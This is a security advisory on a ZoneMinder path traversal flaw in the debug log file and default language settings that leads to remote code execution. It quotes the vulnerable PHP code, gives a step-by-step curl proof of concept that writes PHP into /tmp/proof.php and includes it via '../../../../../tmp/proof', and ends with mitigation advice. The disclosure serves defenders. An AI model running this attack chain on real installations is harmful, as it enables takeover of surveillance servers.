krastanoel

Product

ZoneMinder - A full-featured, open source, state-of-the-art video surveillance software system.

Versions Affected

Description

A Path Traversal vulnerability in debug log file and default language option in ZoneMinder version before 1.36.13 and 1.37.11 allows attackers to write and execute arbitrary code to achieve remote command execution.

Technical Details

Looking at ZM_LOG_DEBUG_FILE validation in includes/logger.php#L138, you could potentially create a file with any extension on any path in the system because it only checks if the variable is not empty.

if ( ZM_LOG_DEBUG_FILE != '' ) {
  $tempLogFile = ZM_LOG_DEBUG_FILE;
  $tempFileLevel = $tempLevel;
}

This will lead to arbitrary file write if you could control the contents being written to the file. Luckily there is a createRequest function in ajax/log.php#L48 that can be used to achieve this.

function createRequest() {
  if ( !empty($_POST['level']) && !empty($_POST['message']) ) {
    ...
    $string = $_POST['message'];
    ...
    ZM\Logger::fetch()->logPrint($level, $string, $file, $line);
  } else {
    ZM\Error('Invalid log create: '.print_r($_POST, true));
  }
}

The $string variable can easily be controlled from $_POST['message'] parameter that has no validation whatsoever. You may guess where this is going now right? yes the only thing left is the ability to include the file to achieve code execution. Looking at ZM_LANG_DEFAULT validation in includes/lang.php#L46, specifically how the $systemLangFile variable is defined clearly suffers from a path traversal vulnerability.

$systemLangFile = $prefix.'lang/'.ZM_LANG_DEFAULT.'.php';
if ( file_exists($systemLangFile) ) {
  return $systemLangFile;
} else {
  ZM\Warning("System language file $systemLangFile does not exist.");
}

This will lead to arbitrary code execution as you have control over ZM_LANG_DEFAULT value that gets appended with “.php” automatically at the end, it will only check if the file exists and then gets executed in includes/lang.php#L63 which was triggered from index.php#L194.

Proof of Concept

The proof of concept was tested against ZoneMinder 1.36.4 ubuntu18.04 docker: ZoneMinder/zmdockerfiles but will still applicable up to the latest version 1.36.12

  1. Start the container with docker run command: ZoneMinder/zmdockerfiles#ubuntu
  2. Navigate to http://localhost:1080/zm/index.php?view=privacy and click APPLY to activate the dashboard
  3. Navigate to http://localhost:1080/zm/index.php?view=options&tab=logging
  4. Tick the LOG_DEBUG option to switch debugging on
  5. Set LOG_DEBUG_FILE option to /tmp/proof.php and then click the save button
  6. Make a GET request to /zm/index.php to grep the csrfMagicToken and save the cookies using curl
    sam:~$ curl -sc ck.txt -b ck.txt http://localhost:1080/zm/index.php | grep -oP 'csrfMagicToken = "\K\w.*(?=";var)'
    key:4a95ee2aec4a3177b56f1ebc20c61f95c161447a,1644031701
    
  7. Using csrfMagicToken value and cookies in step 6, make a POST request to /zm/index.php to create log message with arbitrary PHP code. eg: message=<?php phpinfo(); die();?>
    sam:~$ curl -sc ck.txt -b ck.txt http://localhost:1080/zm/index.php -d '__csrf_magic=key:4a95ee2aec4a3177b56f1ebc20c61f95c161447a,1644031701&view=request&request=log&task=create&level=ERR&message=<?php phpinfo(); die();?>&file=/tmp/proof.php'
    {"result":"Ok"}
    
  8. Make a POST request to /zm/index.php to change system default language to include the debug log file. eg: newConfig[ZM_LANG_DEFAULT]=../../../../../tmp/proof
    sam:~$ curl -sc ck.txt -b ck.txt http://localhost:1080/zm/index.php -d '__csrf_magic=key:4a95ee2aec4a3177b56f1ebc20c61f95c161447a,1644031701&view=options&tab=system&action=options&newConfig[ZM_LANG_DEFAULT]=../../../../../tmp/proof' -L
    
  9. Navigate to http://localhost:1080/zm/index.php or refresh your current zoneminder page and PHP Info will be displayed.




The video below is the proof of concept in action.

Exploitation

Using the proof of concept steps I will craft an exploit script to automate the process. The video below will showcase the shell execution.

Mitigation

There are two possible mitigations but the obvious fix is to validate ZM_LANG_DEFAULT option in includes/lang.php#L46 to prevent the path traversal. We could also validate the ZM_LOG_DEBUG_FILE to only allow specific file extension eg: .txt,.log or define static directory where the log file should be write eg: /var/log/zm to prevent future chained attacks.

Timeline

References